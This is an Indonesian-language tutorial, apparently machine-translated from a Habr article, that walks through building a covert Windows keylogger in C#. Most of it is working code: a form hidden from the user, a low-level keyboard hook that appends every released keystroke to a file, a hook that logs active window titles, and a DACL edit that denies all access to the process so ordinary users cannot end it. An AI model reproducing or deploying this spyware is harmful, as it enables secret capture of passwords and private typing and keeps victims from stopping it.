Keylogger untuk Windows dengan perubahan hak di DACL

Di sini kita akan mempertimbangkan pembuatan Keylogger berdasarkan .Net C # dengan panggilan ke fungsi sistem. Fungsi sistem sendiri dijelaskan secara singkat, tetapi lebih baik membaca dokumentasi resmi dari Microsoft. Tautan ke repositori dengan majelis yang bekerja diberikan di akhir, serta tautan ke dokumentasi.

Apa yang akan diterapkan:

  • Memasukkan input keyboard.
  • Masuk ke jendela aktif.
  • Memblokir proses dari pengguna tanpa hak administrator.
  • Menghentikan proses dengan cara pintas keyboard.

Untuk menulis, Anda perlu C #, pengetahuan tentang Win API dan Windows DACL.

Jadi, kita akan menganalisis beberapa jenis kode sistem yang akan dibutuhkan, masing-masing jenis akan disimpan dalam Enum yang terpisah.

Jenis kait.

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

Untuk menangkap semua acara yang terkait dengan keyboard, Anda memerlukan jenis WH_KEYBOARD_LL . Semua jenis pengait lainnya memerlukan penerapan DLL terpisah, kecuali untuk pengait WH_MOUSE_LL lainnya - peristiwa yang terkait dengan mouse.

Jenis acara yang terkait dengan keyboard, menekan dan melepaskan tombol.

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

Kami akan merekam karakter yang dimasukkan dengan melepaskan kunci - WM_KEYUP .

Secara terpisah, jenis untuk menangkap transisi pengguna dari satu jendela aplikasi ke aplikasi lainnya.

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

Enum untuk menggunakan pintasan keyboard untuk menonaktifkan program.

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

Untuk menerapkan semua poin, pertama-tama buat Formulir dan sembunyikan dari pengguna. Cukup untuk mengganti metode dasar SetVisibleCore.

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

Formulir akan diluncurkan ketika program dimulai.

 Application.Run(HiddenForm); 

Ada formulir dan sekarang Anda perlu menambahkan fungsi utama - memotong input keyboard. Kami menggunakan metode Win API SetWindowsHookEx , parameter berikut akan diteruskan:

  • Jenis pengait adalah WH_KEYBOARD_LL.
  • Fungsi panggilan balik yaitu metode yang harus menangani semua acara yang terkait dengan keyboard.
  • ID modul saat ini .
  • Pengidentifikasi utas adalah 0. Nol sehingga kait dikaitkan dengan semua utas.

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

Metode itu sendiri yang memproses hook. Ini memiliki beberapa parameter, nCode - untuk memahami apakah perlu untuk memproses peristiwa saat ini atau segera meneruskan,
wParam - jenis acara (menekan atau melepaskan tombol), lParam - karakter yang saat ini ditekan. Intinya, lParam adalah array byte, sehingga ia menyimpan informasi tambahan, misalnya, jumlah karakter jika pengguna memegang kunci dan mesin tempat pemrosesan dilakukan lambat.

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

Implementasi ini menulis karakter hanya setelah pengguna merilis kunci. Untuk merekam jumlah karakter, Anda perlu menerapkan jenis huruf WM_KEYDOWN .

Metode SetKeysState digunakan untuk mengetahui apa status kunci tambahan, misalnya, kunci yang memengaruhi case.

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState adalah metode Win API lain di mana Anda dapat mengetahui status dengan kode kunci.

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

Dalam metode GetSymbol , kode tata letak keyboard GetKeyboardLayout untuk jendela saat ini pertama kali diminta, dan kemudian ToUnicodeEx untuk mendapatkan karakter, keduanya metode Win API. Jika kunci yang mempengaruhi kasing terlibat, maka karakter harus dikonversi ke huruf besar.

Ini akan cukup untuk mencatat input dari keyboard. Tetapi untuk merekam jendela aktif saat ini, Anda perlu menggunakan pengait lain.

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

Jenis EVENT_SYSTEM_FOREGROUND diperlukan untuk melacak perubahan di jendela aktif. Dan WINEVENT_OUTOFCONTEXT menunjukkan bahwa metode callBack ada di aplikasi kita.

Metode yang diteruskan ke rantai kait berisi banyak parameter yang dapat berguna dalam implementasi yang lebih rinci, untuk kasus ini cukup untuk mengetahui jendela aktif dan judulnya.

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

Artinya, setiap acara perubahan jendela akan direkam. Dan di GetActiveWindowTitle, cukup menggunakan beberapa metode Win API GetForegroundWindow - cari tahu pengidentifikasi jendela aktif saat ini, setelah meminta judul menggunakan GetWindowText .

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

Hingga saat ini, semua panggilan fungsi sistem diambil dari pustaka User32 dan Kernel32 . Langkah selanjutnya adalah menggunakan perpustakaan advapi32 .

Langkah ketiga adalah mencegah rata-rata pengguna menyelesaikan proses merekam input keyboard. Pertama, Anda perlu menangani proses ini dan kemudian mengubahnya dengan menambahkan entri ke DACL .

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

Deskriptor proses diterima melalui GetKernelObjectSecurity , metode ini disebut dua kali, pertama kita mendapatkan panjang deskriptor, dan panggilan kedua kita mendapatkan deskriptor proses secara langsung.

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

Setelah mengubah deskriptor, Anda harus memasukkan informasi ini ke dalam proses saat ini. Sudah cukup untuk melewati pengidentifikasi dan deskriptor proses ke metode sistem SetKernelObjectSecurity .

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

Langkah terakhir adalah menghentikan proses menggunakan kombinasi tombol.

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

Di sini kunci adalah pintasan keyboard, dan pegangan adalah pengidentifikasi bentuk tersembunyi. Untuk mengenali kombinasi tombol pada formulir, keyId dibuat, yang memungkinkan untuk memeriksa operasi kombinasi tombol. Dan semua ini ditulis melalui metode Win API RegisterHotKey .

Dan untuk akhirnya menghentikan proses, kami mendefinisikan kembali metode WndProc dalam formulir.

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

Tautan yang bermanfaat:

Tautan Repositori
Tautan ke dokumentasi MS.

Source: https://habr.com/ru/post/id482644/


All Articles